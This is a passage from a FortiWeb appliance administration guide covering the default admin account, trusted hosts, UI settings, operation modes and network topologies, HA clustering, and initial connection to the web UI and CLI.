Unlike other administrator accounts, the administrator account named `admin` exists by default and cannot be deleted. The `admin` administrator account is similar to a root administrator account. This administrator account always has full permission to view and change all FortiWeb configuration options, including viewing and changing **all** other administrator accounts. Its name and permissions cannot be changed. It is the only administrator account that can reset another administrator's password without being required to enter that administrator's existing password.



Set a strong password for the `admin` administrator account, and change the password regularly. By default, this administrator account has no password. Failure to maintain the password of the `admin` administrator account could compromise the security of your FortiWeb appliance.

For complete access to **all** commands and abilities, you must log in with the administrator account named `admin`.

See also

- [Configuring access profiles](#)
- [Administrators](#)
- [Trusted hosts](#)

Trusted hosts

As their name implies, trusted hosts are assumed to be (to a reasonable degree) safe sources of administrative login attempts.

Configuring the trusted hosts of your administrator accounts ([Trusted Host #1](#), [Trusted Host #2](#), and [Trusted Host #3](#)) hardens the security of your FortiWeb appliance by further restricting administrative access. In addition to knowing the password, an administrator must connect only from the computer or subnets you specify. The FortiWeb appliance will not allow logins for that account from any other IP addresses. If **all** administrator accounts are configured with specific trusted hosts, FortiWeb will ignore login attempts from all other computers. This eliminates the risk that FortiWeb could be compromised by a brute force login attack from an untrusted source.

Trusted host definitions apply both to the web UI and to the CLI when accessed through Telnet, SSH, or the [CLI Console widget](#). Local console access is **not** affected by trusted hosts, as the local console is by definition not remote, and does not occur through the network.

Relatedly, you can white-list trusted **end-user** IP addresses. End users do not log in to the web UI, but their connections to protected web servers are normally subject to protective scans by FortiWeb unless the clients are trusted. See [“Blacklisting & whitelisting clients individually by source IP” on page 325](#).

See also

- [Administrators](#)
- [Configuring access profiles](#)
- [Permissions](#)

Maximum concurrent administrator sessions

If single administrator mode is enabled, you will not be able to log in while any other account is logged in. You must either wait for the other person to log out, or power cycle the appliance.

For details, see [“Enable Single Admin User login” on page 53](#).

Global web UI & CLI settings

Some settings for connections to the web UI and CLI apply regardless of which administrator account you use to log in.

To configure administrator settings

1. Go to *System > Admin > Settings*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *System Configuration* category. For details, see [“Permissions” on page 46](#).

2. Configure these settings:

Administrators Settings

Web Administration Ports

HTTP

HTTPS

Config-Sync

Timeout Settings

Idle Timeout (1-480 mins)

Language

Web Administration English ▼

Security Settings

☐ Enable Single Admin User login

☐ Enable Strong Passwords

Strong password rule:

1. Between 8-16 characters
2. Minimum of one upper case and one lower case
3. Minimum of one numeric
4. Minimum of one non alphanumeric character

Setting name	Description
Web Administration Ports	
HTTP	Type the TCP port number on which the FortiWeb appliance will listen for HTTP administrative access. The default is 80. This setting has an effect only if HTTP is enabled as an administrative access protocol on at least one network interface. For details, see “Configuring the network interfaces” on page 111.
HTTPS	Type the TCP port number on which the FortiWeb appliance will listen for HTTPS administrative access. The default is 443. This setting has an effect only if HTTPS is enabled as an administrative access protocol on at least one network interface. For details, see “Configuring the network interfaces” on page 111.
Config-Sync	Type the TCP port number on which the FortiWeb appliance will listen for configuration synchronization requests from the peer/remote FortiWeb appliance. The default is 8333. For details, see “Replicating the configuration without FortiWeb HA (external HA)” on page 105. Note: This is <i>not</i> used by HA. See “Configuring a high availability (HA) FortiWeb cluster” on page 95.
Timeout Settings	
Idle Timeout	Type the number of minutes that a web UI connection can be idle before the administrator must log in again. The maximum is 480 minutes (8 hours). To maintain security, keep the idle timeout at the default value of 5 minutes.

Setting name	Description
Language	
Web Administration	Select which language to use when displaying the web UI. Languages currently supported by the web UI are: • English • simplified Chinese • traditional Chinese • Japanese The display's web pages will use UTF-8 encoding, regardless of which language you choose. UTF-8 supports multiple languages, and allows them to display correctly, even when multiple languages are used on the same web page. For example, your organization could have web sites in both English and simplified Chinese. Your FortiWeb administrators prefer to work in the English version of the web UI. They could use the web UI in English while writing rules to match content in both English and simplified Chinese without changing this setting. Both the rules and the web UI will display correctly, as long as all rules were input using UTF-8. Usually, your text input method or your management computer's operating system should match the display by also using UTF-8. If they do not, your input and the web UI may not display correctly at the same time. For example, your web browser's or operating system's default encoding for simplified Chinese input may be GB2312. However, you usually should switch it to be UTF-8 when using the web UI, unless you are writing regular expressions that must match HTTP client's requests, and those requests use GB2312 encoding. Note: Regular expressions are impacted by language. For more information, see "Language support" on page 666. Note: This setting does not affect the display of the CLI.

Setting name	Description
Security Settings	
Enable Single Admin User login	To prevent inadvertent configuration overwrites or conflicts, enable to allow only one session from one administrator account to be logged in at any given time. If a second administrator attempts to log in while another administrator is already logged in (or if the same administrator attempts to start a second concurrent session), the second administrator will receive an error message: Too many bad login attempts or reached max number of logins. Please try again in a few minutes. Login aborted. When multiple administrators simultaneously modify the same part of the configuration, they each edit a copy of the current, saved state of the configuration. As each administrator makes changes, FortiWeb does not update the other administrators' working copies. Each administrator may therefore make conflicting changes without being aware of the other. The FortiWeb appliance will only use whichever administrator's configuration is saved last. If only one administrator can log in, this problem cannot occur. Disable to allow multiple administrators to be logged in. In this case, administrators should communicate with each other to avoid overwriting each other's changes.
Enable Strong Passwords	Enable to enforce strong password rules for administrator accounts. If the password entered is not strong enough when a new administrator account is created, an error message appears and you are prompted to re-enter a stronger password. Strong passwords have the following characteristics: • are between 8 and 16 characters in length • contain at least one upper case and one lower case letter • contain at least one numeric • contain at least one non-alphanumeric character


3. Click *Apply*.

See also

- [Configuring the network interfaces](#)

Buttons, menus, & the displays

Figure 8: Web UI parts



A navigation menu is located on the left side of the web UI. To expand a menu item, simply click it. To expand a submenu item click the + button located next to the submenu name, or click the submenu name itself. To view the pages located within a submenu, click the name of the page.



Do not use your browser's *Back* button to navigate — pages may not operate correctly. Instead, use the navigation menu, tabs, and buttons within the pages of the web UI.

To expand or collapse an area of the menu, click the name of the area itself. Within each area may be multiple submenus. To expand or collapse a submenu, click the + or - button next to the submenu name, or click the name of the submenu itself.

Within each submenu may be one or more tabs or sub-panes, which are displayed to the right of the navigation menu, in the content pane. At the top of the content pane is a toolbar. The toolbar contains buttons that enable you to perform operations on items displayed in the content pane, such as importing or deleting entries.

Each tab or pane (per “[Permissions](#)” on page 46) displays or allows you to modify settings, using a similar set of buttons.

Table 5: Common buttons and menus


Icon	Description
	Click to collapse a visible area.
	Click to expand a hidden area.
	Click to view the first page's worth of records within the tab. or pane If this button is grey, you are already viewing the first page.
	Click to view the page's worth of records that is 10 pages previous to the currently displayed page. If this button is grey, you are viewing the first page.
	Click to view the previous page's worth of records within the tab or pane. If this button is grey, you are viewing the first page.
	To go to a specific page number, type the page number in the field and press Enter. The total number of pages depends on the number of records per page.
	Click to view the next page's worth of records within the tab or pane. If this button is grey, you are viewing the last page.
	Click to view the page's worth of records that is 10 pages after the currently displayed page. If this button is grey, you are viewing the first page.
	Click to view the last page's worth of records within the tab or pane. If this button is grey, you are already viewing the last page.
	Click to filter out entries in the page based upon match criteria for each column. If this button is green, the filter is currently enabled.
	Click to create a new entry using only typical default values as a starting point.

Table 5: Common buttons and menus

Icon	Description
 Clone	Click to create a new entry by duplicating an existing entry. To use this button, you must first mark a check box to select an existing entry upon which the new entry will be based.
 Delete	Click to remove an existing entry. To use this button, you must first mark a check box to select which existing entry you want to remove. To delete multiple entries, either mark the check boxes of each entry that you want to delete, then click <i>Delete</i> . This button may not always be available. See “Deleting entries” on page 56 .

Common buttons are **not** described in subsequent sections of this Administration Guide.

Some pages have unique buttons, or special behaviors associated with common buttons. Those buttons are described in their corresponding section of the Administration Guide.

See also

- [Deleting entries](#)
- [Renaming entries](#)

Deleting entries

To delete a part of the configuration, you must first remove all references to it.

For example, if you selected a profile named “Profile1” in a policy named “PolicyA”, that policy references “Profile1” and requires it to exist. Therefore the appliance will **not** allow you to delete “Profile1” **until** you have reconfigured “PolicyA” (and any other references) so that “Profile1” is no longer required and may be safely deleted.



Back up the configuration before deleting any part of the configuration. Deleted items cannot be recovered unless you upload a backup copy of the previous configuration. See [“Backups” on page 204](#) and [“Restoring a previous configuration” on page 208](#).



If you do not know where your configuration refers to the entry that you want to delete, to find the references, you can download a backup of the configuration and use a plain text editor to search for the entry’s name.



Predefined entries included with the firmware cannot be deleted.

See also

- [Buttons, menus, & the displays](#)
- [Renaming entries](#)

Renaming entries

In the web UI, each entry's name is not editable after you create and save it.

For example, let's say you create a policy whose *Name* is "PolicyA". While configuring the policy, you change your mind about the policy's name a few times, and ultimately you change the *Name* to "BlogPolicy". Finally, you click OK to save the policy. Afterwards, if you edit the policy, most settings can be changed. However, *Name* is greyed-out, and **cannot** any longer be changed.

While you cannot edit *Name*, you can achieve the same effect by other means.

To rename an entry



Alternatively, if you need to rename an item that is **only** referenced in the core configuration file, you can download a backup copy, use a plain text editor to find and replace the entry's old name, then restore the modified configuration backup file to the appliance. Where there are many references, this may save time.

1. Clone the entry, supplying the new name.
2. In **all** areas of the configuration that refer to the old name, replace the old entry name by selecting the new name.



If you do not know where your configuration refers to the entry that you want to delete, to find the references, you can download a backup of the configuration and use a plain text editor to search for the entry's name.

3. Delete the item with the old name.

See also

- [Buttons, menus, & the displays](#)
- [Deleting entries](#)

Shutdown

Always properly shut down the FortiWeb appliance's operating system **before** turning off the power switch or unplugging it. This causes it to finish writing any buffered data, and to correctly spin down and park the hard disks.



Do not unplug or switch off the FortiWeb appliance without first halting the operating system. Failure to do so could cause data loss and hardware damage.

To power off the FortiWeb appliance

1. Access the CLI or web UI. For details, see [“Connecting to the web UI or CLI”](#) on page 69.

2. From the CLI console, enter the following command:


```
execute shutdown
```

Alternatively, if you are connected to the web UI, go to *System > Status > Status*, and in the *Operation* widget, click *ShutDown*.

You may be able to hear the appliance become more quiet when the appliance halts its hardware and operating system, indicating that power can be safely disconnected.

3. For hardware appliances, press the power button if there is one. Power supplies and switches vary by hardware model. On some, you will press the power button. On others, you will flip the switch to either the off (O) or on (I) position. When power is connected and the hardware is started, the power indicator LEDs should light. For details, see the LED specifications in the QuickStart Guide for your model.

Figure 9: Turning off the system



For FortiWeb-VM, power off the virtual machine.

4. Disconnect the power cable from the power supply.

How to set up your FortiWeb

These instructions will guide you to the point where you have a simple, verifiably working installation.

From there, you can begin to use optional features and fine-tune your configuration.

If you are deploying gradually, you may want to initially install your FortiWeb in offline protection mode during the transition phase. In this case, you may need to complete [“How to set up your FortiWeb”](#) multiple times: once for offline protection mode, then again when you switch to your permanent choice of operation modes. See [“Switching out of offline protection mode”](#) on [page 203](#).

Time required to deploy varies by:

- Number of your web applications
- Complexity of your web applications
- If you will use auto-learning to assist you in initial configuration, the volume and usage patterns of your web traffic

Appliance vs. VMware

Installation workflow varies depending on whether you are installing FortiWeb as a physical appliance or as a virtual machine.

To install a physical FortiWeb appliance, follow the instructions in [“How to set up your FortiWeb”](#) sequentially.

To install a virtual appliance, FortiWeb-VM, first follow the [FortiWeb-VM Install Guide](#), then continue with [“How to set up your FortiWeb”](#).

Registering your FortiWeb

Before you begin, take a moment to register your Fortinet product at the Fortinet Technical Support web site:

<https://support.fortinet.com>


Many Fortinet customer services such as firmware updates, technical support, and FortiGuard services require product registration.

For more information, see the Fortinet Knowledge Base article [Registration Frequently Asked Questions](#).

Planning the network topology

To receive traffic intended for web servers that your FortiWeb appliance will protect, you usually must install the FortiWeb appliance between the web servers and all clients that access them.

The network configuration should make sure that all network traffic destined for the web servers must first pass to or through the FortiWeb appliance (depending on your operation mode). Usually, clients access web servers from the Internet through a firewall such as a FortiGate, so the FortiWeb appliance should be installed between the web servers and the firewall.



Install a general purpose firewall such as FortiGate in addition to the FortiWeb appliance. Failure to do so could leave your web servers vulnerable to attacks that are not HTTP/HTTPS-based. FortiWeb appliances are **not** general-purpose firewalls, and, if you enable IP-based forwarding, will allow non-HTTP/HTTPS traffic to pass through without inspection.

Ideally, control and protection measures should **only** allow web traffic, or other properly firewalled protocols, to reach the FortiWeb appliance and your web servers. FortiWeb and FortiGate complement each other to improve security.

Other topology details and features vary by the mode in which the FortiWeb appliance will operate. For example, FortiWeb appliances operating in offline protection mode or either of the transparent modes cannot do network address translation (NAT) or load-balancing; FortiWeb appliances operating in reverse proxy mode can.

How to choose the operation mode

Many things, including:

- supported FortiWeb features
- required network topology
- positive/negative security model
- web server configuration

vary by the operation mode. **Choose the mode that best matches what you and your customers need.** Considerations are discussed in [“Supported features in each operation mode”](#) and [“Matching topology with operation mode & HA mode”](#) on page 62.

Because this is such a pivotal factor, consider the implications carefully before you make your choice. It can be time-consuming to reconfigure your network if you switch modes later.



If you are not sure which operation mode is best for you, you can deploy in offline protection mode temporarily. This will allow you to implement some features and gather auto-learning data while you decide.

Supported features in each operation mode

Many features work regardless of the operation mode that you choose. For some features, support varies by the operation mode and, in some cases, varies by HTTP or HTTPS protocol. SSL/TLS, for example, inherently requires HTTPS. Similarly, rewriting inherently requires an inline topology and synchronous processing, and therefore is only supported in modes that work that way.

For the broadest feature support, choose reverse proxy mode.

If you require a feature that is **not** supported in your chosen operation mode, such as DoS protection or SSL/TLS offloading, your web server or another network appliance will need to be configured to provide that feature. The table below lists the features that are **not** universally supported in all modes/protocols.

Table 6: Feature support that varies by operation mode

Feature	Operation mode				
	Reverse proxy	True transparent proxy		Transparent inspection	Offline protection
		HTTP	HTTPS		
Bridges / V-zones	No	Yes	Yes	Yes	No
Client Certificate Verification	Yes	Yes	Yes	No	No
Config. Sync (Non-HA)	Yes ^	Yes	Yes	Yes	Yes
Cookie Poisoning Prevention	Yes	Yes	Yes	No	No
DoS Protection	Yes	Yes	Yes	No ‡	No ‡
Error Page Customization	Yes	Yes	Yes	No	No
Fail-to-wire	No	Yes	Yes	Yes	No
File Compression	Yes	Yes	Yes	No	No
Hidden Input Constraints	Yes	Yes	Yes	No	No
HA	Yes	Yes	Yes	Yes	No
Information Disclosure Prevention (Anti-Server Fingerprinting)	Yes	Yes	Yes	Yes §	Yes

Table 6: Feature support that varies by operation mode

Feature	Operation mode				
	Reverse proxy	True transparent proxy		Transparent inspection	Offline protection
		HTTP	HTTPS		
Page Order Rules	Yes	Yes	Yes	No	No
Rewriting / Redirection	Yes	Yes	Yes	No	No
Session Management	Yes	Yes *	Yes *	Yes *	Yes *
SSL/TLS Offloading	Yes	N/A	No	No	No
SSLv3 Support	Yes	N/A	Yes ~	Yes ~¶	Yes ~¶
SSLv2 Support	Yes	N/A	No	No	No
Start Page Enforcement	Yes	Yes	Yes	No	No
User Authentication	Yes	Yes #	Yes	No	No
X-Forwarded-For: Support	Yes	No	No	No	No

^ Full configuration sync is not supported in reverse proxy mode.

‡ TCP `SYN` cookie flood prevention is supported.

§ Only the *Alert* action is supported.

* Requires that your web application have session IDs. See [Session Key Word](#).

~ DSA-encrypted server certificates are not supported.

¶ Diffie-Hellman key exchanges are not supported.

PKI authentication requires HTTPS.

Matching topology with operation mode & HA mode

Required physical topology varies by your choice of operation mode. It also varies depending on whether you will operate a high availability (HA) cluster of FortiWeb appliances. You may need to consider 1 or 2 of the next sections:

- [Topology for reverse proxy mode](#)
- [Topology for either of the transparent modes](#)
- [Topology for offline protection mode](#)
- [Topologies for high availability \(HA\) clustering](#)

Topology for reverse proxy mode

This is the default operation mode, and the most common. Most features are supported (see [“Supported features in each operation mode”](#) on page 61).

Requests are destined for a virtual server's network interface and IP address on the FortiWeb appliance, **not** a web server directly. FortiWeb applies full NAT.




DNS A record changes may be required in reverse proxy mode due to NAT. Also, servers will see the IP of FortiWeb, **not** the source IP of clients, so verify that the server does not apply source IP-based features such as rate limiting or geographical analysis.

If you want to deploy without any IP and DNS changes to the existing network, consider either of the transparent modes instead.



In reverse proxy mode, the appliance will **not forward non-HTTP/HTTPS traffic** to your protected physical servers. (That is, IP-based forwarding of unscanned protocols is disabled.) For information on enabling forwarding of other protocols such as FTP, see the `config router setting` command in the [FortiWeb CLI Reference](#).

Figure 10:Example network topology: reverse proxy mode



FortiWeb applies the first applicable policy, then forwards permitted traffic to a web server. FortiWeb logs, blocks, or modifies violations according to the matching policy.

[Figure 10](#) shows an example network topology for reverse proxy mode. A client accesses two web servers over the Internet through a FortiWeb appliance. A firewall is installed between FortiWeb and the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator's computer. Port2 is connected to the firewall. Port3 is connected to a switch, which is connected to the web servers. The FortiWeb appliance provides load-balancing between the two web servers.



Alternatively, you could connect the web servers directly to the FortiWeb appliance: Web Server 1 could have been connected to port3, and Web Server 2 could have been connected to port4.



Virtual servers can be on the same subnet as physical servers. This configuration creates a one-arm HTTP proxy. For example, the virtual server 10.0.0.1/24 could forward to the physical server 10.0.0.2.

However, this is not recommended. Unless your network's routing configuration prevents it, it could allow clients that are aware of the physical server's IP address to bypass the FortiWeb appliance by accessing the physical server directly.

Topology for either of the transparent modes

No changes to the IP address scheme of the network are required. Requests are destined for a web server, **not** the FortiWeb appliance. More features are supported than offline protection mode, but fewer than reverse proxy, and may vary if you use HTTPS (see also [“Supported features in each operation mode” on page 61](#)).

Unlike with reverse proxy mode, with both transparent modes, web servers **will** see the source IP address of clients.

You can configure VLAN subinterfaces on FortiWeb, or omit IP address configuration entirely and instead assign a network port to be a part of a Layer 2-only bridge.



In both transparent modes, the appliance will **forward non-HTTP/HTTPS protocols**. (That is, IP-based forwarding for unscanned protocols is supported.) This facilitates pass-through of other protocols such as FTP that may be necessary for a true drop-in, transparent solution.

Figure 11:Example network topology: transparent modes




Figure 11 shows one example of network topology for either true transparent proxy or transparent inspection mode. A client accesses a web server over the Internet through a FortiWeb appliance. A firewall is installed between the FortiWeb appliance and the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator's computer. Port3 is connected to the firewall. Port4 is connected to the web servers. Port3 and port4 have no IP address of their own, and act as a V-zone (bridge). Because port3 and port4 have hardware support for fail-to-wire, this topology also gives you the option of configuring fail-open behavior in the event of FortiWeb power loss.

True transparent proxy mode and transparent inspection mode are the same in topology aspect, but due to differences in the mode of interception, they do have a few important behavioral differences:

- **True transparent proxy** — FortiWeb ***transparently proxies*** the traffic arriving on a network port that belongs to a Layer 2 bridge, applies the first applicable policy, and lets permitted traffic pass through. FortiWeb logs, blocks, or modifies violations according to the matching policy and its protection profile. This mode supports user authentication via HTTP but **not** HTTPS.
- **Transparent inspection** — FortiWeb ***asynchronously inspects*** traffic arriving on a network port that belongs to a Layer 2 bridge, applies the first applicable policy, and lets permitted traffic pass through. (Because it is asynchronous, it minimizes latency.) FortiWeb logs or blocks traffic according to the matching policy and its protection profile, but does **not** otherwise modify it. (It cannot, for example, offload SSL, load-balance connections, or support user authentication.)



Unlike in reverse proxy mode or true transparent proxy mode, actions other than *Alert cannot* be guaranteed to be successful in transparent inspection mode. The FortiWeb appliance will attempt to block traffic that violates the policy. However, due to the nature of asynchronous inspection, the client or server may have already received the traffic that violated the policy.

Topology for offline protection mode

“Out-of-band” is an appropriate descriptor for this mode. Minimal changes are required. It does not introduce any latency. However, many features are not supported (see [“Supported features in each operation mode” on page 61](#)).




Most organizations do **not** permanently deploy their FortiWeb in offline protection mode. Instead, they will use it as a way to learn about their web servers’ vulnerabilities and to configure some of the FortiWeb during a transition period, after which they will switch to an operation mode that places the appliance inline (between clients and web servers).

Switching out of offline protection mode when you are done with transition can prevent bypass problems that can arise as a result of misconfigured routing. It also offers you the ability to offer protection features that cannot be supported in a SPAN port topology.

Requests are destined for a web server, **not** the FortiWeb appliance. Traffic is duplicated from the flow and sent on an out-of-line link to the FortiWeb through a switched port analyzer (SPAN or mirroring) port. Unless there is a policy violation, there is no reply traffic from FortiWeb. Depending on whether the upstream firewalls or routers apply source NAT (SNAT), the web servers might be able to see and use the source IP addresses of clients.

Figure 12:Example network topology: offline protection mode



FortiWeb monitors traffic received on the data capture port's network interface (regardless of the IP address) and applies the first applicable policy. Because it is not inline with the destination, it does **not** forward permitted traffic. FortiWeb logs or blocks violations according to the matching policy and its protection profile. If FortiWeb detects a malicious request, it sends a TCP `RST` (reset) packet through the blocking port to the web server and client to attempt to terminate the connection. It does **not** otherwise modify traffic. (It cannot, for example, offload SSL, load-balance connections, or support user authentication.)



Unlike in reverse proxy mode or true transparent proxy mode, actions other than **Alert cannot** be guaranteed to be successful in offline protection mode. The FortiWeb appliance will attempt to block traffic that violates the policy by mimicking the client or server and requesting to reset the connection. However, the client or server may receive the reset request after it receives the other traffic due to possible differences in routing path metrics and latency.



If you select offline protection mode, you can configure **Blocking Port** to select the port from which TCP `RST` (reset) commands are sent to block traffic that violates a policy.

Figure 12 shows an example one-arm network topology for offline protection mode. A client accesses two web servers over the Internet through a FortiWeb appliance. A firewall is installed between the FortiWeb appliance and the Internet to regulate non-HTTP/HTTPS traffic. Port 1 is connected to the administrator's computer. Port 2 is connected to the firewall, and thereby to a switch, which is connected to the web servers. The FortiWeb appliance provides detection, but does not load-balance, block, or otherwise modify traffic to or from the two web servers.



Alternatively, you could connect a FortiWeb appliance operating in offline protection mode to the SPAN port of a switch.

Topologies for high availability (HA) clustering


Valid HA topologies vary by whether you use either:

- FortiWeb HA
- an external HA/load balancer

Figure 13 shows another network topology for reverse proxy mode, except that the single FortiWeb appliance has been replaced with two of them operating together as an **active-passive** (high availability (HA) pair. If the active appliance fails, the standby appliance assumes the IP addresses and load of the failed appliance.

To carry heartbeat and synchronization traffic between the HA pair, the heartbeat interface on both HA appliances must be connected through crossover cables or through switches.


Figure 13:Example network topology: reverse proxy mode with HA



If you use a switch to connect the heartbeat interfaces, they must be reachable by Layer 2 multicast.

If FortiWeb will **not** be operating in reverse proxy mode (such as for either true transparent proxy mode or transparent inspection mode), typically you would **not** use FortiWeb HA — this could require changes to your network scheme, which defeats one of the key benefits of the transparent modes: it requires no IP changes. Instead, most customers use an existing **external load balancer/HA** solution in conjunction with FortiWeb configuration synchronization **to preserve an existing active-active or active-passive topology**, as shown in Figure 14.

Figure 14:Example network topology: transparent proxy mode with configuration synchronization and external HA via FortiBalancer



Unlike with FortiWeb HA, with external HA, that HA device must itself detect when a FortiWeb has failed in order to redirect the traffic stream. (FortiWeb has no way of actively notifying the external HA device.) To monitor the live paths through your FortiWebs, you could configure your HA device to poll either:

- a back-end web server, or
- an IP on each FortiWeb bridge (V-zone)



If you need to replicate the FortiWeb configuration **without HA** (i.e. no load balancing and no failover), you can achieve this by using configuration synchronization. This has no special topology requirement, except that synchronized FortiWebs should be placed in identical topologies. For more information, see [“Replicating the configuration without FortiWeb HA \(external HA\)”](#) on page 105.

See also

- [Fail-to-wire for power loss/reboots](#)
- [Topology for reverse proxy mode](#)
- [Topology for either of the transparent modes](#)
- [Configuring a high availability \(HA\) FortiWeb cluster](#)
- [HA heartbeat & synchronization](#)
- [Replicating the configuration without FortiWeb HA \(external HA\)](#)


Connecting to the web UI or CLI

To configure, maintain, and administer the FortiWeb appliance, you need to connect to it. There are two methods:

- **Web UI** — A graphical user interface (GUI), from within a web browser. It can display reports and logs, but lacks many advanced diagnostic commands. For usage, see [“How to use the web UI” on page 44](#).



- **Command line interface (CLI)** — A text interface similar to DOS or UNIX commands, from a Secure Shell (SSH) or Telnet terminal, or from the JavaScript *CLI Console* widget in the web UI (*System > Status > Status*). It provides access to many advanced diagnostic commands as well as configuration, but lacks reports and logs. For usage, see the [FortiWeb CLI Reference](#).



Access to the CLI and/or web UI through your network is not yet configured if:

- you are connecting for the first time
- you have just reset the configuration to its default state
- you have just restored the firmware

In these cases, you must initially connect your computer directly to FortiWeb, using the default settings.



If you are installing a FortiWeb-VM virtual appliance, you should have already connected if you followed the instructions in the [FortiWeb-VM Install Guide](#). If so, you can skip this chapter and continue with [“Changing the “admin” account password” on page 88](#).

Via the direct connection, you can use the web UI or CLI to configure FortiWeb’s basic network settings. Once this is done, you will be able to place FortiWeb on your network, and use FortiWeb through your network.



Until the FortiWeb appliance is configured with an IP address and connected to your network, you may prefer to connect the FortiWeb appliance directly to your management computer, or through a switch, in a peer network that is isolated from your overall network. This will improve security during setup. However, isolation is not required.

Connecting to the web UI

You can connect to the web UI using its default settings.

Table 7: Default settings for connecting to the web UI

Network Interface	port1
URL	https://192.168.1.99/
Administrator Account	admin
Password	

Requirements

- a computer with an RJ-45 Ethernet network port
- a web browser such as Microsoft Internet Explorer version 6.0 or greater, or Mozilla Firefox 3.5 or greater
- a crossover Ethernet cable

To connect to the web UI

1. On your management computer, configure the Ethernet port with the static IP address 192.168.1.2 with a netmask of 255.255.255.0.
2. Using the Ethernet cable, connect your computer's Ethernet port to the FortiWeb appliance's port1.
3. Start your browser and enter the URL:

<https://192.168.1.99/>

(Remember to include the "s" in https://.)

Your browser connects the appliance.

If you do **not** see the login page due to an SSL cipher error during the connection, and you are connecting to the trial license of FortiWeb-VM or a LENC version of FortiWeb, then your browser must be configured to accept encryption of 64-bit strength or less during the handshake. (RC2, RC4, and DES with less than 64-bit strength is supported. AES and 3DES is **not** supported in these versions.)

For example, in Mozilla Firefox, if you receive this error message:

`ssl_error_no_cypher_overlap`

you may need to enter `about:config` in the URL bar, then set `security.ssl3.rsa.rc4_40_md5` to `true`.

To support HTTPS authentication, the FortiWeb appliance ships with a self-signed security certificate, which it presents to clients whenever they initiate an HTTPS connection to the FortiWeb appliance. When you connect, depending on your web browser and prior access of the FortiWeb appliance, your browser might display two security warnings related to this certificate:

- The certificate is not automatically trusted because it is self-signed, rather than being signed by a valid certificate authority (CA). Self-signed certificates cannot be verified with a proper CA, and therefore might be fraudulent. You must manually indicate whether or not to trust the certificate.
- The certificate might belong to another web site. The common name (CN) field in the certificate, which usually contains the host name of the web site, does not exactly match the URL you requested. This could indicate server identity theft, but could also simply indicate that the certificate contains a domain name while you have entered an IP address. You must manually indicate whether this mismatch is normal or not.

Both warnings are normal for the default certificate. SSL v3 and TLS v1.0 are supported.

4. Verify and accept the certificate, either permanently (the web browser will not display the self-signing warning again) or temporarily. You cannot log in until you accept the certificate. For details on accepting the certificate, see the documentation for your web browser.
5. In the *Name* field, type `admin`, then click *Login*. (In its default state, there is no password for this account.)

Login credentials entered are encrypted before they are sent to the FortiWeb appliance. If your login is successful, the web UI appears. To continue by updating the firmware, see ["Updating the firmware" on page 75](#). Otherwise, to continue by setting an administrative password, see ["Changing the "admin" account password" on page 88](#).

Connecting to the CLI

Using its default settings, you can access the CLI from your management computer in two ways:

- a local console connection
- an SSH connection, either local or through the network

Secure Shell (SSH) provides both secure authentication and secure communications to the CLI. Supported SSH protocol versions, ciphers, and bit strengths include SSH version 2 with AES-128, 3DES, Blowfish, and SHA-1.

Table 8: Default settings for connecting to the CLI by SSH

Network Interface	port1
IP Address	192.168.1.99
SSH Port Number	22
Administrator Account	admin
Password	



If you are **not** connecting for the first time, nor have you just reset the configuration to its default state or restored the firmware, administrative access settings may have already been configured. In this case, access the CLI using the IP address, administrative access protocol, administrator account and password already configured, instead of the default settings.

Requirements

- a computer with an available serial communications (COM) port
- the RJ-45-to-DB-9 or null modem cable included in your FortiWeb package
- terminal emulation software such as [PuTTY](#)



The following procedures describe connection using PuTTY software; steps may vary with other terminal emulators.

To connect to the CLI using a local console connection

1. Using the RJ-45-to-DB-9 or null modem cable, connect your computer's serial communications (COM) port to the FortiWeb appliance's console port.
2. Verify that the FortiWeb appliance is powered on.
3. On your management computer, start [PuTTY](#).
4. In the *Category* tree on the left, go to *Connection > Serial* and configure the following:

Serial line to connect to	COM1 (or, if your computer has multiple serial ports, the name of the connected serial port)
Speed (baud)	9600
Data bits	8

Stop bits	1
Parity	None
Flow control	None

5. In the *Category* tree on the left, go to *Session* (**not** the sub-node, *Logging*) and from *Connection type*, select *Serial*.
6. Click *Open*.
7. Press the Enter key to initiate a connection.
The login prompt appears.
8. Type `admin` then press Enter twice. (In its default state, there is no password for the `admin` account.)

The CLI displays the following text, followed by a command line prompt:

```
Welcome!
```

You can now enter commands. To continue by updating the firmware, see [“Updating the firmware” on page 75](#). Otherwise, to continue by setting an administrative password, see [“Changing the “admin” account password” on page 88](#). For information about how to use the CLI, see the [FortiWeb CLI Reference](#).

Requirements

- a computer with an RJ-45 Ethernet port
- a crossover Ethernet cable (if connecting directly) or straight-through Ethernet cable (if connecting through a switch or router)
- a FortiWeb network interface configured to accept SSH connections (In its default state, port1 accepts SSH. You may need to connect directly first in order to configure a static route so that, later, you can connect through routers. For details, see [“Adding a gateway” on page 123](#).)
- an SSH client, such as [PuTTY](#)

To connect to the CLI using an SSH connection

1. On your management computer, configure the Ethernet port with the static IP address 192.168.1.2 with a netmask of 255.255.255.0.
2. Using the Ethernet cable, connect your computer’s Ethernet port to the FortiWeb appliance’s port1.
3. Verify that the FortiWeb appliance is powered on.
4. On your management computer, start [PuTTY](#).
Initially, the *Session* category of settings is displayed.
5. In *Host Name (or IP Address)*, type `192.168.1.99`.
6. In *Port*, type `22`.
7. From *Connection type*, select *SSH*.
8. Select *Open*.

The SSH client connects to the FortiWeb appliance.

The SSH client may display a warning if this is the first time you are connecting to the FortiWeb appliance and its SSH key is not yet recognized by your SSH client, or if you have previously connected to the FortiWeb appliance but it used a different IP address or SSH key. If your management computer is directly connected to the FortiWeb appliance with no network hosts between them, this is normal.

9. Click Yes to verify the fingerprint and accept the FortiWeb appliance's SSH key. You cannot log in until you accept the key.

The CLI displays a login prompt.

10. Type `admin` and press Enter. (In its default state, there is no password for this account.)



If three incorrect login or password attempts occur in a row, you will be disconnected. Wait one minute, then reconnect to attempt the login again.

The CLI displays a prompt, such as:

FortiWeb #

You can now enter commands. To continue by updating the firmware, see [“Updating the firmware” on page 75](#). Otherwise, to continue by setting an administrative password, see [“Changing the “admin” account password” on page 88](#).

For information about how to use the CLI, see the [FortiWeb CLI Reference](#).

Updating the firmware

Your new FortiWeb appliance comes with the latest operating system (firmware) when shipped. However, if a new version has been released since your appliance was shipped, you should install it before you continue the installation.

Fortinet periodically releases FortiWeb firmware updates to include enhancements and address issues. After you register your FortiWeb appliance, FortiWeb firmware is available for download at:

<https://support.fortinet.com>

